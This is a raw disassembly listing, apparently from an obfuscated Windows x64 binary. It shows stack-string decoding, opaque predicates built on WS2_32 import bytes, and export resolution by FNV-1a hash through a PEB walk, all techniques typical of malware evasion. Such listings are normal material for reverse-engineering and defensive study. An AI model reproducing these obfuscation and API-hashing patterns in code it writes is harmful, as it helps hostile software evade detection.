jmp 0x1400a5090
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400a4e5e
lea edx, [r11 + 0x14]
mov ecx, Ordinal_60
jmp 0x1400a4d2b
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400a4e75
lea edx, [r11 - 0x28]
mov ecx, ntohs
jmp 0x1400a4c30
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400a4e98
lea ecx, [r11 - 0x64]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x1400a4fa0
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1400a4ebb
mov r9b, r11b
lea ecx, [r9 + 0x7e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x72
jmp 0x1400a4efb
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1400a4b40
mov r9b, r11b
mov ecx, 2
lea edx, [r9 + 0x24]
jmp 0x1400a4cde
mov dil, byte [rbp + r11 - 0x50]
mov dl, r11b
sub dl, sil
mov al, r8b
and al, dl
add al, al
sub dil, al
sub dil, 0x58
add dil, r8b
add dil, dl
mov r9b, r11b
add r9b, 0x59
mov cl, dil
mov al, r9b
and al, r8b
add al, al
sub cl, al
sub cl, 0x6f
add cl, r9b
add cl, r8b
mov byte [rbp + r11 - 0x50], cl
jmp 0x1400a4fa0
lea edx, [r11 - 0x36]
mov ecx, 0x3d
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400a5049
lea ecx, [r11 + 0x37]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x7f
jmp 0x1400a50d6
lea edx, [r11 + 0x55]
mov al, r8b
and al, dl
mov dil, r8b
add al, al
sub dil, al
sub dil, 0x53
add dil, dl
jmp 0x1400a5090
lea ecx, [r11 - 0x6f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 9
jmp 0x1400a4fa3
lea ecx, [r11 - 0x51]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x37
add rbx, r10
movzx eax, dil
mov rcx, r15
sub rcx, rax
add r11, rcx
jmp 0x1400a50e2
mov r9b, r11b
mov al, r8b
mov dil, r8b
lea edx, [r9 + 0x27]
and al, dl
add al, al
sub dil, al
sub dil, 0x11
jmp 0x1400a4fe7
mov r9b, r11b
mov al, r8b
mov dil, r8b
lea edx, [r9 + 0x63]
and al, dl
add al, al
sub dil, al
add dil, 0x4b
add dil, dl
add r9b, 0x77
mov al, r9b
and al, r8b
add al, al
sub r9b, al
sub r9b, 0x41
add r9b, r8b
mov byte [rbp + r11 - 0x50], r9b
inc r10
jmp 0x1400a5020
lea ecx, [r11 - 0x61]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x59
dec r11
jmp 0x1400a50e2
mov r8b, dl
movabs rcx, 0x4cb35d7217554217
add rcx, r11
mov dil, r8b
and dl, cl
add dl, dl
sub dil, dl
add dil, 0x5f
add dil, cl
lea ecx, [r11 + 0x3b]
inc r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x63
add cl, r8b
movzx eax, cl
mov byte [rbp + r11 - 0x50], al
add rax, r10
sub r11, rax
jmp 0x1400a5090
mov r8b, dl
movabs rcx, 0x7fedd50859cf2f35
add rcx, r11
mov dil, r8b
and dl, cl
add dl, dl
sub dil, dl
sub dil, 0x73
add dil, cl
lea edx, [r11 - 0x54]
inc rbx
mov al, dl
mov ecx, Ordinal_41
and al, r8b
sub cl, al
mov rax, r15
add cl, cl
sub rax, rbx
add cl, dl
add cl, r8b
mov byte [rbp + r11 - 0x50], cl
add r11, rax
jmp 0x1400a50d6
mov al, dl
movabs rcx, 0xb3284c9e9c491c53
add rcx, r11
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x45
movzx eax, byte [rbp + r11 - 0x50]
add rax, r10
add r11, rax
inc r11
jmp 0x1400a4733
sub r11b, 0x4b
mov al, r8b
and al, r11b
add al, al
sub r8b, al
lea edi, [r11 + r8]
add dil, 0xd
jmp 0x1400a4730
sub r11b, 0x2d
mov al, r8b
and al, r11b
add al, al
sub r8b, al
lea edi, [r11 + r8]
add dil, 0x3b
jmp 0x1400a4720
lea rcx, [rbp + 0x14a579c]
jmp 0x1400a5138
lea rcx, [rbp + 0x10d610d]
jmp 0x1400a5138
lea rcx, [rbp - 0x50]
call r12
mov rdx, qword [rbp + 0x48]
mov rcx, rax
call r13
mov r12, rax
call fcn.1400752e8
movsx edi, al
call fcn.1400752e4
movsx esi, al
mov r9d, esi
imul r9d, edi
call fcn.1400752f4
movsx r10d, al
xor r13d, r13d
movsx eax, byte [reloc.WS2_32.dll_htons]
lea edx, [r9 + r10]
lea ecx, [rdx + r9*2]
xor edx, edx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a540e
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
lea ebx, [r10 + r9*4]
test r12, r12
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
mov eax, r13d
sete al
xor edx, edx
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rbp + 0x48], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a5236
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x1400a5236
mov r11d, r14d
jmp 0x1400a529a
movsx eax, byte [reloc.WS2_32.dll_htons]
lea edx, [r9 + r9*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r10d
lea eax, [rax + rdx*2]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a5296
movsx eax, byte [reloc.WS2_32.dll_htons]
lea edx, [r9 + r9*4]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r10d
xorps xmm0, xmm0
lea eax, [rax + rdx*2]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp + 0x48]
cvttsd2si r11d, xmm0
jmp 0x1400a529a
mov r11d, dword [rbp + 0x48]
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r10d
lea eax, [rax + r9*8]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r11d
test eax, eax
je 0x1400a540e
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [r9 + r10]
lea ecx, [rcx + r9*8]
xor edx, edx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xor edx, edx
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp + 0x48], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a537f
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
jne 0x1400a6039
call fcn.1400752f4
movsx edx, al
mov ecx, edi
imul ecx, esi
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
lea eax, [rdx + rax*2]
xor edx, edx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a5402
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp + 0x48]
cvttsd2si eax, xmm0
jmp 0x1400a5405
mov eax, dword [rbp + 0x48]
cmp r13d, eax
jl 0x1400a6039
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
movsx eax, byte [reloc.WS2_32.dll_htons]
lea r9d, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r9d
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a5ccb
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
mov r15, qword [rbp + 0x40]
test r15, r15
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
mov rax, r13
cvtdq2pd xmm0, xmm0
sete al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rbp + 0x48], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
movsx eax, byte [reloc.WS2_32.dll_htons]
lea esi, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a5512
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x1400a5512
mov r10d, r14d
jmp 0x1400a5588
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a5584
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r9d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp + 0x48]
cvttsd2si r10d, xmm0
jmp 0x1400a5588
mov r10d, dword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x1400a5748
mov r10, qword [0x1402a3f60]
test r10, r10
jne 0x1400a5730
mov rax, qword gs:[0x60]
mov edi, r13d
mov esi, 0x9bc5a608
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r10, r14
movups xmm0, xmmword [r10 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x1400a564a
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400a563d
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400a562e
cmp edx, edi
jne 0x1400a5711
mov r9, qword [r10 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1400a5711
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1400a5711
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x1400a569c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400a5691
cmp edx, esi
je 0x1400a56b0
test ebx, ebx
jne 0x1400a567d
jmp 0x1400a5711
mov edx, dword [r11 + 0x24]
mov r8d, dword [r11 + 0x1c]
add rdx, r9
add r8, r9
movzx edx, word [rdx + rbx*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1400a5729
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x1400a5729
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x1400a56f0
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x1400a56e2
jmp 0x1400a5704
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x1400a56f9
mov r10, qword [r14]
mov rax, qword [r10]
mov r10, rax
cmp rax, r14
je 0x1400a5726
cmp qword [rax + 0x30], r13
jne 0x1400a5602
mov r10, r13
mov qword [0x1402a3f60], r10
mov rcx, r10
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
call r12
mov r10d, eax
jmp 0x1400a5ccf
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a5ccb
call fcn.1400752ec
movsx r11d, al
call fcn.1400752f8
movsx ebx, al
call fcn.1400752f0
movsx ecx, byte [0x1402a1e80]
xorps xmm2, xmm2
movsx edi, al
movsx eax, byte [reloc.WS2_32.dll_closesocket]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
add eax, edx
xor edx, edx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp + 0x48], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a581a
movsx ecx, byte [0x1402a1e80]
imul ecx, r11d
lea edx, [rcx + rcx*8]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, ebx
add edx, edi
add ecx, edx
je 0x1400a581a
mov r10d, r14d
jmp 0x1400a58b0
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a58ac
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp + 0x48]
cvttsd2si r10d, xmm0
jmp 0x1400a58b0
mov r10d, dword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x1400a5dd7
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movsd qword [rbp + 0x48], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a5980
movsx ecx, byte [0x1402a1e80]
imul ecx, r11d
lea edx, [rcx + rcx*8]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, ebx
add edx, edi
add ecx, edx
jne 0x1400a59d7
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a59d7
mov al, byte [reloc.WS2_32.dll_htons]
mov al, byte [reloc.WS2_32.dll_htonl]
mov al, byte [reloc.WS2_32.dll_accept]
movsd xmm0, qword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a5ccb
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
imul r10d, edx, 7
call fcn.1400752f4
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add r10d, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r10d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm2, xmm2
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp + 0x48], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a5b0c
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x1400a5b0c
mov r9d, r14d
jmp 0x1400a5ba2
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a5b9e
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp + 0x48]
cvttsd2si r9d, xmm0
jmp 0x1400a5ba2
mov r9d, dword [rbp + 0x48]
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r10d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x1400a5ccb
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x1402557b8]
movsd qword [rbp + 0x48], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a5c74
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
jne 0x1400a5ccb
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a5ccb
mov al, byte [reloc.WS2_32.dll_htons]
mov al, byte [reloc.WS2_32.dll_htonl]
mov al, byte [reloc.WS2_32.dll_accept]
movsd xmm0, qword [rbp + 0x48]
mov r10d, dword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
je 0x1400a675d
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
test r10d, r10d
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
mov rax, r13
cvtdq2pd xmm0, xmm0
setne al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rbp + 0x48], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ebx, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a5ddf
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x1400a5ddf
mov r15d, 4
mov r9d, r15d
jmp 0x1400a5e7b
mov rcx, r15
jmp 0x1400a5733
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a5e71
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp + 0x48]
cvttsd2si r9d, xmm0
jmp 0x1400a5e75
mov r9d, dword [rbp + 0x48]
mov r15d, 4
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
mov r8d, eax
call fcn.1400752e8
movsx r10d, al
call fcn.1400752e4
movsx r11d, al
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_accept]
xor edx, edx
sub r8d, ecx
movsx edi, al
imul r8d, r9d
test r8d, r8d
je 0x1400a6040
movsx ecx, byte [reloc.WS2_32.dll_htons]
mov eax, r10d
imul eax, r11d
xorps xmm2, xmm2
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xor edx, edx
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp + 0x48], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a5f9c
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
jne 0x1400a6039
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
